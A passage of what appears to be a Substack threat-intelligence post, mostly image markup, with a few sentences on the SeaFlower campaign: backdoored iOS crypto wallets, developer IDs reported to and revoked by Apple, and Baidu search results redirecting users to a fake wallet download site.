https://substackcdn.com/image/fetch/$s_!jYTz!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58300ee7-3f15-4c75-9bc2-644175004f33_500x864.png 848w, https://substackcdn.com/image/fetch/$s_!jYTz!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58300ee7-3f15-4c75-9bc2-644175004f33_500x864.png 1272w, https://substackcdn.com/image/fetch/$s_!jYTz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58300ee7-3f15-4c75-9bc2-644175004f33_500x864.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Bk3S!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83e7d98c-828a-402c-a046-49029a9f3327_750x1268.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Bk3S!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83e7d98c-828a-402c-a046-49029a9f3327_750x1268.png 424w, https://substackcdn.com/image/fetch/$s_!Bk3S!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83e7d98c-828a-402c-a046-49029a9f3327_750x1268.png 848w, https://substackcdn.com/image/fetch/$s_!Bk3S!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83e7d98c-828a-402c-a046-49029a9f3327_750x1268.png 1272w, https://substackcdn.com/image/fetch/$s_!Bk3S!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83e7d98c-828a-402c-a046-49029a9f3327_750x1268.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Bk3S!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83e7d98c-828a-402c-a046-49029a9f3327_750x1268.png" width="750" height="1268" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/83e7d98c-828a-402c-a046-49029a9f3327_750x1268.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1268,&quot;width&quot;:750,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Bk3S!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83e7d98c-828a-402c-a046-49029a9f3327_750x1268.png 424w, https://substackcdn.com/image/fetch/$s_!Bk3S!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83e7d98c-828a-402c-a046-49029a9f3327_750x1268.png 848w, https://substackcdn.com/image/fetch/$s_!Bk3S!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83e7d98c-828a-402c-a046-49029a9f3327_750x1268.png 1272w, https://substackcdn.com/image/fetch/$s_!Bk3S!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83e7d98c-828a-402c-a046-49029a9f3327_750x1268.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!pfGf!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe9e9f4e-e196-4b81-a28a-f3f36204f2f3_500x865.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!pfGf!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe9e9f4e-e196-4b81-a28a-f3f36204f2f3_500x865.png 424w, https://substackcdn.com/image/fetch/$s_!pfGf!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe9e9f4e-e196-4b81-a28a-f3f36204f2f3_500x865.png 848w, https://substackcdn.com/image/fetch/$s_!pfGf!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe9e9f4e-e196-4b81-a28a-f3f36204f2f3_500x865.png 1272w, https://substackcdn.com/image/fetch/$s_!pfGf!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe9e9f4e-e196-4b81-a28a-f3f36204f2f3_500x865.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!pfGf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe9e9f4e-e196-4b81-a28a-f3f36204f2f3_500x865.png" width="500" height="865" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/be9e9f4e-e196-4b81-a28a-f3f36204f2f3_500x865.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:865,&quot;width&quot;:500,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!pfGf!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe9e9f4e-e196-4b81-a28a-f3f36204f2f3_500x865.png 424w, https://substackcdn.com/image/fetch/$s_!pfGf!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe9e9f4e-e196-4b81-a28a-f3f36204f2f3_500x865.png 848w, https://substackcdn.com/image/fetch/$s_!pfGf!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe9e9f4e-e196-4b81-a28a-f3f36204f2f3_500x865.png 1272w, https://substackcdn.com/image/fetch/$s_!pfGf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe9e9f4e-e196-4b81-a28a-f3f36204f2f3_500x865.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!EkjC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff13fe2d9-47e8-4439-aace-c247cc367f49_500x868.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!EkjC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff13fe2d9-47e8-4439-aace-c247cc367f49_500x868.png 424w, https://substackcdn.com/image/fetch/$s_!EkjC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff13fe2d9-47e8-4439-aace-c247cc367f49_500x868.png 848w, https://substackcdn.com/image/fetch/$s_!EkjC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff13fe2d9-47e8-4439-aace-c247cc367f49_500x868.png 1272w, https://substackcdn.com/image/fetch/$s_!EkjC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff13fe2d9-47e8-4439-aace-c247cc367f49_500x868.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!EkjC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff13fe2d9-47e8-4439-aace-c247cc367f49_500x868.png" width="500" height="868" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f13fe2d9-47e8-4439-aace-c247cc367f49_500x868.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:868,&quot;width&quot;:500,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!EkjC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff13fe2d9-47e8-4439-aace-c247cc367f49_500x868.png 424w, https://substackcdn.com/image/fetch/$s_!EkjC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff13fe2d9-47e8-4439-aace-c247cc367f49_500x868.png 848w, https://substackcdn.com/image/fetch/$s_!EkjC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff13fe2d9-47e8-4439-aace-c247cc367f49_500x868.png 1272w, https://substackcdn.com/image/fetch/$s_!EkjC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff13fe2d9-47e8-4439-aace-c247cc367f49_500x868.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zApa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde30a6b6-b600-4d1e-9aa3-522cd40af8d9_750x1334.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zApa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde30a6b6-b600-4d1e-9aa3-522cd40af8d9_750x1334.png 424w, https://substackcdn.com/image/fetch/$s_!zApa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde30a6b6-b600-4d1e-9aa3-522cd40af8d9_750x1334.png 848w, https://substackcdn.com/image/fetch/$s_!zApa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde30a6b6-b600-4d1e-9aa3-522cd40af8d9_750x1334.png 1272w, https://substackcdn.com/image/fetch/$s_!zApa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde30a6b6-b600-4d1e-9aa3-522cd40af8d9_750x1334.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zApa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde30a6b6-b600-4d1e-9aa3-522cd40af8d9_750x1334.png" width="750" height="1334" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/de30a6b6-b600-4d1e-9aa3-522cd40af8d9_750x1334.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1334,&quot;width&quot;:750,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zApa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde30a6b6-b600-4d1e-9aa3-522cd40af8d9_750x1334.png 424w, https://substackcdn.com/image/fetch/$s_!zApa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde30a6b6-b600-4d1e-9aa3-522cd40af8d9_750x1334.png 848w, https://substackcdn.com/image/fetch/$s_!zApa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde30a6b6-b600-4d1e-9aa3-522cd40af8d9_750x1334.png 1272w, https://substackcdn.com/image/fetch/$s_!zApa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde30a6b6-b600-4d1e-9aa3-522cd40af8d9_750x1334.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">iPhone with multiple installed backdoored wallets</figcaption></figure></div><blockquote><p>Note: We reported at very early stage of this campaign all the Apple developer id&#8217;s linked to these provisioning profiles to Apple and they revoked them. We are planning to continue reporting this activity to Apple Threat intelligence teams on a regular basis.</p></blockquote><p>The last question to be answered is how the users are targeted and redirected to these websites offering backdoored wallets? short answer: Search Engines. Indeed, search engines are one of the clear entry points for SeaFlower that we identified to this date, redirecting mobile users to fake/cloned wallet download websites. In particular, Baidu search engine results are one of the initial vectors for these attacks.</p><p>Baidu, Inc is a Chinese multinational AI technology company with a search engine. We were interested to see if there&#8217;s any SEO or targeting to coinbase or metamask users in that search engine.</p><p>We searched for &#8220;download metamask ios&#8221; and one of the baidu links on the first results page redirected us to token18[.]app website, which was SeaFlower Drive-by download page, sweet!</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!p1DW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa6930dd-782e-47ac-bcdd-e40ad2e21bf8_1000x667.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!p1DW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa6930dd-782e-47ac-bcdd-e40ad2e21bf8_1000x667.png 424w, https://substackcdn.com/image/fetch/$s_!p1DW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa6930dd-782e-47ac-bcdd-e40ad2e21bf8_1000x667.png 848w, https://substackcdn.com/image/fetch/$s_!p1DW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa6930dd-782e-47ac-bcdd-e40ad2e21bf8_1000x667.png 1272w, https://substackcdn.com/image/fetch/$s_!p1DW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa6930dd-782e-47ac-bcdd-e40ad2e21bf8_1000x667.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!p1DW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa6930dd-782e-47ac-bcdd-e40ad2e21bf8_1000x667.png" width="1000" height="667" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/aa6930dd-782e-47ac-bcdd-e40ad2e21bf8_1000x667.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:667,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!p1DW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa6930dd-782e-47ac-bcdd-e40ad2e21bf8_1000x667.png 424w, https://substackcdn.com/image/fetch/$s_!p1DW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa6930dd-782e-47ac-bcdd-e40ad2e21bf8_1000x667.png 848w, https://substackcdn.com/image/fetch/$s_!p1DW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa6930dd-782e-47ac-bcdd-e40ad2e21bf8_1000x667.png 1272w, https://substackcdn.com/image/fetch/$s_!p1DW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa6930dd-782e-47ac-bcdd-e40ad2e21bf8_1000x667.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_2YG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F74810d85-0abb-48bc-b26e-a41ffca5de1c_750x507.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_2YG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F74810d85-0abb-48bc-b26e-a41ffca5de1c_750x507.png 424w, https://substackcdn.com/image/fetch/$s_!_2YG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F74810d85-0abb-48bc-b26e-a41ffca5de1c_750x507.png 848w, https://substackcdn.com/image/fetch/$s_!_2YG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F74810d85-0abb-48bc-b26e-a41ffca5de1c_750x507.png 1272w, 